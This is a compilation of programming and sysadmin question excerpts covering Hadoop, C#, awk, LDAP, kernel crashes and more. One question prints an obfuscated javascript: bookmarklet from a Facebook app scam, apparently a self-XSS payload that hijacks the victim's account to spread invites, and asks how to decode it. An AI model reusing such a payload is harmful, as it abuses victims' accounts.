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• Hadoop reduce task gets hung

  - by user806098

  I set up a hadoop cluster with 4 nodes, When running a map-reduce task, the map task finishes quickly, while the reduce task hangs at 27% percent. I checked the log, it's that the reduce task fails to fetch map output from map nodes. The job tracker log of master shows messages like this: 2011-06-27 19:55:14,748 INFO org.apache.hadoop.mapred.JobTracker: Adding task (REDUCE) 'attempt_201106271953_0001_r_000000_0' to tip task_201106271953_0001_r_000000, for tracker 'tracker_web30.bbn.com.cn:localhost/127.0.0.1:56476' And the name node log of master shows messages like this: 2011-06-27 14:00:52,898 INFO org.apache.hadoop.ipc.Server: IPC Server handler 4 on 54310, call register(DatanodeRegistration(202.106.199.39:50010, storageID=DS-1989397900-202.106.199.39-50010-1308723051262, infoPort=50075, ipcPort=50020)) from 192.168.225.19:16129: error: java.io.IOException: verifyNodeRegistration: unknown datanode 202.106.199.3 9:50010 However, neither the "web30.bbn.com.cn" or 202.106.199.39, 202.106.199.3 is the slave node. I think such ip/domains appear because hadoop fails to resolve a node(first in the Intranet DNS server), then it goes to a higher-level DNS server, later to the top, still fails, then the "junk" ip/domains are returned. But I checked my config, it goes like this: /etc/hosts: 127.0.0.1 localhost.localdomain localhost ::1 localhost6.localdomain6 localhost6 192.168.225.16 master 192.168.225.66 slave1 192.168.225.20 slave5 192.168.225.17 slave17 conf/core-site.xml: hadoop.tmp.dir /root/hadoop_tmp/hadoop_${user.name} fs.default.name hdfs://master:54310 io.sort.mb 1024 hdfs-site.xml: dfs.replication 3 masters: master slaves: master slave1 slave5 slave17 Also, all firewalls(iptables) are turned off, and ssh between each 2 nodes is ok. so I don't know where exact the error comes from. Please help. Thanks a lot.

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• Obfuscated Javascript Code from Facebook Application?

  - by V.K.

  This is the code that was copied and pasted into my address bar: javascript:(function() {a='app117970624901700_jop';b='app117970624901700_jode';ifc='app117970624901700_ifc';ifo='app1179 70624901700_ifo';mw='app117970624901700_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return (c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)) {while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c]) p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e= ["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N \\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\ p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g \\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\ \F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d [e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e [15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e [5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x 70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document| mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})(); I ran it through http://jsbeautifier.org/ , but it didn't clean up the later part dealing with the "new RegExp"... anyone know what this code does and how to figure it out?

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• Issue while saving image using savefiledialog

  - by user1097772

  I'm using savefiledialog to save an image. Canvas is picturebox and the loaded image is bitmap. When I try to save it the file is created but somehow corrupted. Cause when I try againt load the image or show in different viewer it doesn't work - I mean the saved file is corrupted. There is an method for saving image. private void saveFileDialog1_FileOk(object sender, CancelEventArgs e) { System.IO.FileStream fs = (System.IO.FileStream)saveFileDialog1.OpenFile(); try { switch (saveFileDialog1.FilterIndex) { case 1: canvas.Image.Save(saveFileDialog1.FileName, System.Drawing.Imaging.ImageFormat.Bmp); break; case 2: canvas.Image.Save(saveFileDialog1.FileName, System.Drawing.Imaging.ImageFormat.Jpeg); break; case 3: canvas.Image.Save(saveFileDialog1.FileName, System.Drawing.Imaging.ImageFormat.Png); break; case 4: canvas.Image.Save(saveFileDialog1.FileName, System.Drawing.Imaging.ImageFormat.Tiff); break; } } catch (Exception ex) { System.Console.WriteLine("Exception " + ex); } I should also mention the property Filter. saveFileDialog1.Filter has value: bmp (*.bmp)|*.bmp|jpeg (*.jpeg)|*.jpeg|png (*.png)|*.png|tiff (*.tiff)|*.tiff

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• iphone nsarray problem?

  - by Brodie4598

  Okay maybe i just need another set of eyes on this, but I have the following lines of code in one of my view controllers. It takes some data from a file, and populates it into an array using "\n" as a separator. I then use that array to make an NSDictionary, which is used to populate a tableview. It's very simple. However it isnt working. Here's the code: NSString *dataString = [NSString stringWithContentsOfFile:checklistPath encoding: NSUTF8StringEncoding error:NULL]; if ([dataString hasPrefix:@"\n"]) { dataString = [dataString substringFromIndex:1]; } NSArray *tempArray = [dataString componentsSeparatedByString:@"\n"]; NSLog(@"datastring:%@",dataString); NSLog(@"temp array:",tempArray); NSLog(@"%i",[tempArray count]); NSDictionary *temporaryDictionary = [NSDictionary dictionaryWithObject: tempArray forKey:@"User Generated Checklist"]; self.names = temporaryDictionary; NSLog(@"names:%@",names); so in the log, datastring is correct, so it's correctly pulling the data from a file. however for tempArray, i get: 2010-05-17 19:15:55.825 MyApp[7309:207] temp array: for the tempArray count i get: 2010-05-17 19:15:55.826 myApp[7309:207] 5 which is the correct number of strings in the array So i'm stumped. I have the EXACT same few lines of code in a different view controller and it works perfectly. Whats crazier is the last NSLog, that shows the final NSDictionary (names) displays this, which looks correct: 2010-05-17 19:15:55.827 FS Companion[7309:207] names:{ "User Generated Checklist" = ( "System|||ACTION", "System|||ACTION", "System|||ACTION", "System|||ACTION", "System|||ACTION" ); \ am i missing something really obvious??

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• IE Information Bar, download file...how do I code for this?

  - by flatline

  I have a web page (asp.net) that compiles a package then redirects the user to the download file via javascript (window.location = ....). This is accompanied by a hard link on the page in case the redirect doesn't work - emulating the download process on many popular sites. When the IE information bar appears at the top due to restricted security settings, and a user clicks on it to download the file, it redirects the user to the page, not the download file, which refreshes the page and removes the hard link. What is the information bar doing here? Shouldn't it send the user to the location of the redirect? Am I setting something wrong in the headers of the download response, or doing something else wrong to send the file in the first place? C# Code: m_context.Response.Buffer = false; m_context.Response.ContentType = "application/zip"; m_context.Response.AddHeader("Content-Length", fs.Length.ToString()); m_context.Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}_{1}.zip", downloadPrefix, DateTime.Now.ToString("yyyy-MM-dd_HH-mm"))); //send the file

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• Java Enumeration of Musical Notes

  - by Crupler

  How would you create an enumeration of the musical notes in Java, with each notes having an octave and then a keyed variable? This is what I have so far... public enum Notes { c, cS, d, dS, e, f, fS, g, gS, a, aS, b; int octave; boolean isPlaying; } So when I access the enums in my code I write something like this... Notes.c.octave = 4; Notes.c.isPlaying = true; Now here is my question: How can I have an isPlaying boolean for each note in each octave? Like so: Notes.c.octave.isPlaying = true; Or would I have to go like: public enum Notes { c1, cS1, d1, dS1, e1, f1, fS1, g1, gS1, a1, aS1, b1 c2, cS2, d2, dS2, e2, f2, fS2, g2, gS2, a2, aS2, b2; etc... boolean isPlaying; } Thank you in advance for taking your time to answer this question!

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• How to extract data from F# list

  - by David White

  Following up my previous question, I'm slowly getting the hang of FParsec (though I do find it particularly hard to grok). My next newbie F# question is, how do I extract data from the list the parser creates? For example, I loaded the sample code from the previous question into a module called Parser.fs, and added a very simple unit test in a separate module (with the appropriate references). I'm using XUnit: open Xunit [<Fact>] let Parse_1_ShouldReturnListContaining1 () = let interim = Parser.parse("1") Assert.False(List.isEmpty(interim)) let head = interim.Head // I realise that I have only one item in the list this time Assert.Equal("1", ???) Interactively, when I execute parse "1" the response is: val it : Element list = [Number "1"] and by tweaking the list of valid operators, I can run parse "1+1" to get: val it : Element list = [Number "1"; Operator "+"; Number "1"] What do I need to put in place of my ??? in the snippet above? And how do I check that it is a Number, rather than an Operator, etc.?

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• FDs not closed in FUSE filesystem

  - by cor

  Hi, I have a problem while implementing a fuse filesystem in python. for now i just have a proxy filesystem, exactly like a mount --bind would be. But, any file created, opened, or read on my filesystem is not released (the corresponding FD is not closed) Here is an example : yume% ./ProxyFs.py `pwd`/test yume% cd test yume% ls mdr yume% echo test test yume% ls mdr test yume% ps auxwww | grep python cor 22822 0.0 0.0 43596 4696 ? Ssl 12:57 0:00 python ./ProxyFs.py /home/cor/esl/proxyfs/test cor 22873 0.0 0.0 6352 812 pts/1 S+ 12:58 0:00 grep python yume% ls -l /proc/22822/fd total 0 lrwx------ 1 cor cor 64 2010-05-27 12:58 0 - /dev/null lrwx------ 1 cor cor 64 2010-05-27 12:58 1 - /dev/null lrwx------ 1 cor cor 64 2010-05-27 12:58 2 - /dev/null lrwx------ 1 cor cor 64 2010-05-27 12:58 3 - /dev/fuse l-wx------ 1 cor cor 64 2010-05-27 12:58 4 - /home/cor/test/test yume% Does anyone have a solution to actually really close the fds of the file I use in my fs ? I'm pretty sure it's a mistake in the implementation of the open, read, write hooks but i'm stucked... Let me know if you need more details ! Thanks a lot Cor

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• Uniq in awk; removing duplicate values in a column using awk

  - by D W

  I have a large datafile in the following format below: ENST00000371026 WDR78,WDR78,WDR78, WD repeat domain 78 isoform 1,WD repeat domain 78 isoform 1,WD repeat domain 78 isoform 2, ENST00000371023 WDR32 WD repeat domain 32 isoform 2 ENST00000400908 RERE,KIAA0458, atrophin-1 like protein isoform a,Homo sapiens mRNA for KIAA0458 protein, partial cds., The columns are tab separated. Multiple values within columns are comma separated. I would like to remove the duplicate values in the second column to result in something like this: ENST00000371026 WDR78 WD repeat domain 78 isoform 1,WD repeat domain 78 isoform 1,WD repeat domain 78 isoform 2, ENST00000371023 WDR32 WD repeat domain 32 isoform 2 ENST00000400908 RERE,KIAA0458 atrophin-1 like protein isoform a,Homo sapiens mRNA for KIAA0458 protein, partial cds., I tried the following code below but it doesn't seem to remove the duplicate values. awk ' BEGIN { FS="\t" } ; { split($2, valueArray,","); j=0; for (i in valueArray) { if (!( valueArray[i] in duplicateArray)) { duplicateArray[j] = valueArray[i]; j++; } }; printf $1 "\t"; for (j in duplicateArray) { if (duplicateArray[j]) { printf duplicateArray[j] ","; } } printf "\t"; print $3 }' knownGeneFromUCSC.txt How can I remove the duplicates in column 2 correctly?

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• Method returns an IDisposable - Should I dispose of the result, even if it's not assigned to anythin

  - by mjd79

  This seems like a fairly straightforward question, but I couldn't find this particular use-case after some searching around. Suppose I have a simple method that, say, determines if a file is opened by some process. I can do this (not 100% correctly, but fairly well) with this: public bool IsOpen(string fileName) { try { File.Open(fileName, FileMode.Open, FileAccess.Read, FileShare.None); } catch { // if an exception is thrown, the file must be opened by some other process return true; } } (obviously this isn't the best or even correct way to determine this - File.Open throws a number of different exceptions, all with different meanings, but it works for this example) Now the File.Open call returns a FileStream, and FileStream implements IDisposable. Normally we'd want to wrap the usage of any FileStream instantiations in a using block to make sure they're disposed of properly. But what happens in the case where we don't actually assign the return value to anything? Is it still necessary to dispose of the FileStream, like so: try { using (File.Open(fileName, FileMode.Open, FileAccess.Read, FileShare.None)); { /* nop */ } } catch { return true; } Should I create a FileStream instance and dispose of that? try { using (FileStream fs = File.Open(fileName, FileMode.Open, FileAccess.Read, FileShare.None)); } ... Or are these totally unnecessary? Can we simply call File.Open and not assign it to anything (first code example), and let the GC dispose of it right away?

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• Python: Parsing a colon delimited file with various counts of fields

  - by Mark

  I'm trying to parse a a few files with the following format in 'clientname'.txt hostname:comp1 time: Fri Jan 28 20:00:02 GMT 2011 ip:xxx.xxx.xx.xx fs:good:45 memory:bad:78 swap:good:34 Mail:good Each section is delimited by a : but where lines 0,2,6 have 2 fields... lines 1,3-5 have 3 or more fields. (A big issue I've had trouble with is the time: line, since 20:00:02 is really a time and not 3 separate fields. I have several files like this that I need to parse. There are many more lines in some of these files with multiple fields. ... for i in clients: if os.path.isfile(rpt_path + i + rpt_ext): # if the rpt exists then do this rpt = rpt_path + i + rpt_ext l_count = 0 for line in open(rpt, "r"): s_line = line.rstrip() part = s_line.split(':') print part l_count = l_count + 1 else: # else break break First I'm checking if the file exists first, if it does then open the file and parse it (eventually) As of now I'm just printing the output (print part) to make sure it's parsing right. Honestly, the only trouble I'm having at this point is the time: field. How can I treat that line specifically different than all the others? The time field is ALWAYS the 2nd line in all of my report files.

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• Secure ldap problem

  - by neverland

  I have tried to config my openldap to have secure connection by using openssl on Debian5. By the way, I got trouble during the below command. ldap:/etc/ldap# slapd -h 'ldap:// ldaps://' -d1 >>> slap_listener(ldaps://) connection_get(15): got connid=7 connection_read(15): checking for input on id=7 connection_get(15): got connid=7 connection_read(15): checking for input on id=7 connection_get(15): got connid=7 connection_read(15): checking for input on id=7 connection_get(15): got connid=7 connection_read(15): checking for input on id=7 connection_read(15): unable to get TLS client DN, error=49 id=7 connection_get(15): got connid=7 connection_read(15): checking for input on id=7 ber_get_next ber_get_next on fd 15 failed errno=0 (Success) connection_closing: readying conn=7 sd=15 for close connection_close: conn=7 sd=15 Then I have search for "unable to get TLS client DN, error=49 id=7" but it seems no where has a good solution to this yet. Please help. Thanks # Well, I try to fix something to get it work but now I got this ldap:~# slapd -d 256 -f /etc/openldap/slapd.conf @(#) $OpenLDAP: slapd 2.4.11 (Nov 26 2009 09:17:06) $ root@SD6-Casa:/tmp/buildd/openldap-2.4.11/debian/build/servers/slapd could not stat config file "/etc/openldap/slapd.conf": No such file or directory (2) slapd stopped. connections_destroy: nothing to destroy. What should I do now? log : ldap:~# /etc/init.d/slapd start Starting OpenLDAP: slapd - failed. The operation failed but no output was produced. For hints on what went wrong please refer to the system's logfiles (e.g. /var/log/syslog) or try running the daemon in Debug mode like via "slapd -d 16383" (warning: this will create copious output). Below, you can find the command line options used by this script to run slapd. Do not forget to specify those options if you want to look to debugging output: slapd -h 'ldaps:///' -g openldap -u openldap -f /etc/ldap/slapd.conf ldap:~# tail /var/log/messages Feb 8 16:53:27 ldap kernel: [ 123.582757] intel8x0_measure_ac97_clock: measured 57614 usecs Feb 8 16:53:27 ldap kernel: [ 123.582801] intel8x0: measured clock 172041 rejected Feb 8 16:53:27 ldap kernel: [ 123.582825] intel8x0: clocking to 48000 Feb 8 16:53:27 ldap kernel: [ 131.469687] Adding 240932k swap on /dev/hda5. Priority:-1 extents:1 across:240932k Feb 8 16:53:27 ldap kernel: [ 133.432131] EXT3 FS on hda1, internal journal Feb 8 16:53:27 ldap kernel: [ 135.478218] loop: module loaded Feb 8 16:53:27 ldap kernel: [ 141.348104] eth0: link up, 100Mbps, full-duplex Feb 8 16:53:27 ldap rsyslogd: [origin software="rsyslogd" swVersion="3.18.6" x-pid="1705" x-info="http://www.rsyslog.com"] restart Feb 8 16:53:34 ldap kernel: [ 159.217171] NET: Registered protocol family 10 Feb 8 16:53:34 ldap kernel: [ 159.220083] lo: Disabled Privacy Extensions

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• Error with postgres and Rails in Bundle Install on Ubuntu 12.10

  - by jason328

  I'm trying to install postgres onto Ubuntu. When running the Bundle Install in terminal I'm receiving this message at the end of the running code. How do I get pg to install properly? Libpq-dev is installed as well. Using coffee-rails (3.2.2) Using diff-lcs (1.1.3) Using jquery-rails (2.0.2) Installing pg (0.12.2) with native extensions Gem::Installer::ExtensionBuildError: ERROR: Failed to build gem native extension. /usr/bin/ruby1.9.1 extconf.rb checking for pg_config... yes Using config values from /usr/bin/pg_config checking for libpq-fe.h... yes checking for libpq/libpq-fs.h... yes checking for PQconnectdb() in -lpq... yes checking for PQconnectionUsedPassword()... yes checking for PQisthreadsafe()... yes checking for PQprepare()... yes checking for PQexecParams()... yes checking for PQescapeString()... yes checking for PQescapeStringConn()... yes checking for PQgetCancel()... yes checking for lo_create()... yes checking for pg_encoding_to_char()... yes checking for PQsetClientEncoding()... yes checking for rb_encdb_alias()... yes checking for rb_enc_alias()... no checking for struct pgNotify.extra in libpq-fe.h... yes checking for unistd.h... yes checking for ruby/st.h... yes creating extconf.h creating Makefile make compiling compat.c compiling pg.c pg.c: In function ‘pgconn_wait_for_notify’: pg.c:2117:3: warning: ‘rb_thread_select’ is deprecated (declared at /usr/include/ruby- 1.9.1/ruby/intern.h:379) [-Wdeprecated-declarations] pg.c: In function ‘pgconn_block’: pg.c:2592:3: error: format not a string literal and no format arguments [-Werror=format- security] pg.c:2598:3: warning: ‘rb_thread_select’ is deprecated (declared at /usr/include/ruby- 1.9.1/ruby/intern.h:379) [-Wdeprecated-declarations] pg.c:2607:4: error: format not a string literal and no format arguments [-Werror=format- security] pg.c: In function ‘pgconn_locreate’: pg.c:2866:11: warning: variable ‘lo_oid’ set but not used [-Wunused-but-set-variable] pg.c: In function ‘find_or_create_johab’: pg.c:3947:3: warning: implicit declaration of function ‘rb_encdb_alias’ [-Wimplicit- function-declaration] cc1: some warnings being treated as errors make: *** [pg.o] Error 1 Gem files will remain installed in /home/jason/.bundler/tmp/10083/gems/pg-0.12.2 for inspection. Results logged to /home/jason/.bundler/tmp/10083/gems/pg-0.12.2/ext/gem_make.out An error occurred while installing pg (0.12.2), and Bundler cannot continue. Make sure that `gem install pg -v '0.12.2'` succeeds before bundling.

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• Issues with Server 2012 using DFSR running on Hyper-V 2012

  - by Bryan

  We have a number of Server 2012 systems, all of which run virtualised on Hyper-V 2012 server. We are having problems with two such virtual instances, both of which are used as file servers, whereby they occasionally stop responding to requests to serve files to clients. After logging on to the server, attempts to shut it down gracefully fail (no error, it just fails to acknowledge a shutdown request). Recovery is a case of power cycling the server(s) from the Hyper-V console. These two servers don't server a large number of users (one serves no more than 6 users, and the other serves around 20 users), they are in the same domain, but on different physical hardware (and at different sites). They don't lock up at the same time. They both use DFSR to replicate a fairly large amount of data between themselves (200GB) over ADSL connections, this is working fine, and we have been using DFSR to do this on the previous two generations of server OS we have used (Server 2008 R2 and Server 2003 - both of which were physical installs however). Today, when one of the servers crashed, I noticed an entry in the event log, which looked similar to the following: Log Name: Application Source: ESENT Date: 27/11/2012 10:25:55 Event ID: 533 Task Category: General Level: Warning Keywords: Classic User: N/A Computer: HAL-FS-01.example.com Description: DFSRs (1500) \\.\E:\System Volume Information\DFSR\database_C8CC_101_CC00_EC0E\ dfsr.db: A request to write to the file "\\.\E:\System Volume Information\ DFSR\database_C8CC_101_CC00_EC0E\fsr.log" at offset 4423680 (0x0000000000438000) for 4096 (0x00001000) bytes has not completed for 36 second(s). This problem is likely due to faulty hardware. Please contact your hardware vendor for further assistance diagnosing the problem. When the server started up again, I went to find the event log entry to investigate further and found that the event log entry was no longer there (I assume it was in memory but failed to write to disk before the server was powered off, for the reason mentioned in the message). I found the above message by searching back further in the event log. Both of these virtual servers have their E: volumes fully allocated as opposed to dynamically expanding, and there are no other issues on any of the other virtual servers (which include server 2012, server 2008 R2 and Ubuntu 12.04 x64). There are no signs of IO, memory or CPU starvation on the host systems. I've used performance counters on the affected virtual servers to monitor memory usage (including non paged pool usage), as well as CPU and network utilisation, and none of these show any signs of trouble when the issue arises. I would have thought our configuration isn't that uncommon, so I'm wondering if anyone else has seen this, and managed to resolve the problem?

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• Help with Windows 7 BSOD with windbg minidump !analyze -v results

  - by Kurt Harless

  Hi gang, Windows 7 X64 Ultimate is BSODing occasionally. I suspect an overheating issue or something related to the use of my GTX-295 card that runs very hot. Here is an !analyze -v listing of the most recent minidump. Any and all help greatly appreciated. Kurt Microsoft (R) Windows Debugger Version 6.12.0002.633 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [C:\Windows\Minidump\122810-31387-01.dmp] Mini Kernel Dump File: Only registers and stack trace are available Symbol search path is: SRV*c:\websymbols*http://msdl.microsoft.com/download/symbols Executable search path is: Windows 7 Kernel Version 7600 MP (8 procs) Free x64 Product: WinNt, suite: TerminalServer SingleUserTS Built by: 7600.16617.amd64fre.win7_gdr.100618-1621 Machine Name: Kernel base = 0xfffff800`03065000 PsLoadedModuleList = 0xfffff800`032a2e50 Debug session time: Tue Dec 28 11:04:03.597 2010 (UTC - 7:00) System Uptime: 2 days 2:28:40.407 Loading Kernel Symbols ............................................................... ................................................................ .............................................. Loading User Symbols Loading unloaded module list ................ ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 3B, {c0000005, fffff800033b8873, fffff8800e322dc0, 0} Probably caused by : ntkrnlmp.exe ( nt!RtlCompareUnicodeStrings+c3 ) Followup: MachineOwner --------- 1: kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* SYSTEM_SERVICE_EXCEPTION (3b) An exception happened while executing a system service routine. Arguments: Arg1: 00000000c0000005, Exception code that caused the bugcheck Arg2: fffff800033b8873, Address of the instruction which caused the bugcheck Arg3: fffff8800e322dc0, Address of the context record for the exception that caused the bugcheck Arg4: 0000000000000000, zero. Debugging Details: ------------------ EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. FAULTING_IP: nt!RtlCompareUnicodeStrings+c3 fffff800`033b8873 488b7c2418 mov rdi,qword ptr [rsp+18h] CONTEXT: fffff8800e322dc0 -- (.cxr 0xfffff8800e322dc0) rax=0000000000000041 rbx=fffff8a015a3c1c0 rcx=0000000000000024 rdx=0000000000000003 rsi=fffff8800e3238b0 rdi=0000000000000009 rip=fffff800033b8873 rsp=fffff8800e323798 rbp=000000000000000d r8=fffff8a018cb374c r9=000000200a98fdc4 r10=fffff8800e323988 r11=fffff8800e32398e r12=fffff8a018127c18 r13=fffff8800126e550 r14=0000000000000001 r15=fffffa800abe1570 iopl=0 nv up ei pl nz ac po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010216 nt!RtlCompareUnicodeStrings+0xc3: fffff800`033b8873 488b7c2418 mov rdi,qword ptr [rsp+18h] ss:0018:fffff880`0e3237b0=???????????????? Resetting default scope CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT BUGCHECK_STR: 0x3B PROCESS_NAME: ccSvcHst.exe CURRENT_IRQL: 0 LAST_CONTROL_TRANSFER: from 0000000000000000 to fffff800033b8873 STACK_TEXT: fffff880`0e323798 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!RtlCompareUnicodeStrings+0xc3 FOLLOWUP_IP: nt!RtlCompareUnicodeStrings+c3 fffff800`033b8873 488b7c2418 mov rdi,qword ptr [rsp+18h] SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: nt!RtlCompareUnicodeStrings+c3 FOLLOWUP_NAME: MachineOwner MODULE_NAME: nt IMAGE_NAME: ntkrnlmp.exe DEBUG_FLR_IMAGE_TIMESTAMP: 4c1c44a9 STACK_COMMAND: .cxr 0xfffff8800e322dc0 ; kb FAILURE_BUCKET_ID: X64_0x3B_nt!RtlCompareUnicodeStrings+c3 BUCKET_ID: X64_0x3B_nt!RtlCompareUnicodeStrings+c3 Followup: MachineOwner ---------

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• Debian Lenny syslog kernel messages

  - by andre

  Hello everyone. I've recently got a disk swap on my colo'd box. I've been getting these messages from the kernel (viewed on the terminal and later on /var/log/messages Mar 22 09:04:29 seedbox kernel: [72710.442831] Pid: 6527, comm: sshd Not tainted 2.6.26-2-amd64 #1 Mar 22 09:04:29 seedbox kernel: [72710.442831] RIP: 0010:[<ffffffff802876b9>] [<ffffffff802876b9>] page_remove_rmap+0xff/0x11a Mar 22 09:04:29 seedbox kernel: [72710.442831] RSP: 0018:ffff8100b75d1da8 EFLAGS: 00010246 Mar 22 09:04:29 seedbox kernel: [72710.442831] RAX: 0000000000000000 RBX: ffffe2000185e3e8 RCX: 0000000000008e53 Mar 22 09:04:29 seedbox kernel: [72710.442831] RDX: ffff810080a4c000 RSI: 0000000000000046 RDI: 0000000000000282 Mar 22 09:04:29 seedbox kernel: [72710.442831] RBP: ffff8100379838c8 R08: 00007f6d11ba4000 R09: ffff8100b75d1800 Mar 22 09:04:29 seedbox kernel: [72710.442831] R10: 0000000000000000 R11: 0000010000000010 R12: ffff8100bb446b00 Mar 22 09:04:29 seedbox kernel: [72710.442831] R13: 00007f6d11ba4000 R14: ffffe2000185e3e8 R15: ffff810001023b80 Mar 22 09:04:29 seedbox kernel: [72710.442831] FS: 0000000000000000(0000) GS:ffffffff8053d000(0000) knlGS:0000000000000000 Mar 22 09:04:29 seedbox kernel: [72710.442831] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 Mar 22 09:04:29 seedbox kernel: [72710.442831] CR2: 00007f6d1195b480 CR3: 0000000037904000 CR4: 00000000000006e0 Mar 22 09:04:29 seedbox kernel: [72710.442831] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 Mar 22 09:04:29 seedbox kernel: [72710.442831] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Mar 22 09:04:29 seedbox kernel: [72710.442831] Process sshd (pid: 6527, threadinfo ffff8100b75d0000, task ffff8100bd0a0990) Mar 22 09:04:29 seedbox kernel: [72710.442831] Stack: 800000006f65b045 800000006f65b045 ffff8100bc013d20 ffffffff8027f69a Mar 22 09:04:29 seedbox kernel: [72710.442831] ffff810100000000 0000000000000000 ffff8100b75d1eb8 ffffffffffffffff Mar 22 09:04:29 seedbox kernel: [72710.442831] 0000000000000000 ffff8100379838c8 ffff8100b75d1ec0 0000000000296460 Mar 22 09:04:29 seedbox kernel: [72710.442831] Call Trace: Mar 22 09:04:29 seedbox kernel: [72710.442831] [<ffffffff8027f69a>] ? unmap_vmas+0x4c9/0x885 Mar 22 09:04:29 seedbox kernel: [72710.442831] [<ffffffff80283ac8>] ? exit_mmap+0x7c/0xf0 Mar 22 09:04:29 seedbox kernel: [72710.442831] [<ffffffff80232538>] ? mmput+0x2c/0xa2 Mar 22 09:04:29 seedbox kernel: [72710.442831] [<ffffffff802378ad>] ? do_exit+0x25a/0x6a6 Mar 22 09:04:29 seedbox kernel: [72710.442831] [<ffffffff802afa45>] ? mntput_no_expire+0x20/0x117 Mar 22 09:04:29 seedbox kernel: [72710.442831] [<ffffffff80237d66>] ? do_group_exit+0x6d/0x9d Mar 22 09:04:29 seedbox kernel: [72710.442831] [<ffffffff80237da8>] ? sys_exit_group+0x12/0x16 Mar 22 09:04:29 seedbox kernel: [72710.442831] [<ffffffff8020beda>] ? system_call_after_swapgs+0x8a/0x8f Mar 22 09:04:29 seedbox kernel: [72710.442831] Mar 22 09:04:29 seedbox kernel: [72710.442831] Mar 22 09:04:29 seedbox kernel: [72710.442831] RSP <ffff8100b75d1da8> Mar 22 09:04:29 seedbox kernel: [72710.442831] ---[ end trace e8a2f3b263482c6e ]--- I don't know what the problem is or how to debug / track it, hope you guys can help.. let me know if you need more information.

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• Solaris10 x86 mirror. Making second disk booteable when failure

  - by Kani

  Did a mirror (RAID1) with Solaris 10 in x86. Everything OK. Now, I´m trying to make the second disk booteable, this is: from grub or in case of failure of disk1. I edited /boot/grub/menu.lst: #---------- ADDED BY BOOTADM - DO NOT EDIT ---------- title Solaris 10 9/10 s10x_u9wos_14a X86 findroot (rootfs1,0,a) kernel /platform/i86pc/multiboot module /platform/i86pc/boot_archive #---------------------END BOOTADM-------------------- #---------- ADDED BY BOOTADM - DO NOT EDIT ---------- title Solaris failsafe findroot (rootfs1,0,a) kernel /boot/multiboot -s module /boot/amd64/x86.miniroot-safe #---------------------END BOOTADM-------------------- #---------- ADDED BY BOOTADM - DO NOT EDIT ---------- title Solaris failsafe findroot (rootfs1,0,a) kernel /boot/multiboot kernel/unix -s module /boot/x86.miniroot-safe #---------------------END BOOTADM-------------------- #Make second disk booteable!!!!!!! title alternate boot findroot (rootfs1,1,a) kernel /boot/multiboot kernel/unix -s module /boot/x86.miniroot-safe But is not working. In the BIOS, when I select "alternate boot" I get: Error 15: 15 file not found also, how to configure to GRUB to make the disk2 to boot in case of error in disk1? Additionally, I did (but not related to GRUB): eeprom altbootpath=/devices/pci@0,0/pci108e,5352@1f,2/disk@1,0:a Here is the output of some commands that may help you: /sbin/biosdev 0x80 /pci@0,0/pci108e,5352@1f,2/disk@0,0 0x81 /pci@0,0/pci108e,5352@1f,2/disk@1,0 ls -l /dev/dsk/c1t?d0s0 lrwxrwxrwx 1 root root 50 Jul 7 12:01 /dev/dsk/c1t0d0s0 -> ../../devices/pci@0,0/pci108e,5352@1f,2/disk@0,0:a lrwxrwxrwx 1 root root 50 Jul 7 12:01 /dev/dsk/c1t1d0s0 -> ../../devices/pci@0,0/pci108e,5352@1f,2/disk@1,0:a more /boot/solaris/bootenv.rc setprop ata-dma-enabled '1' setprop atapi-cd-dma-enabled '0' setprop ttyb-rts-dtr-off 'false' setprop ttyb-ignore-cd 'true' 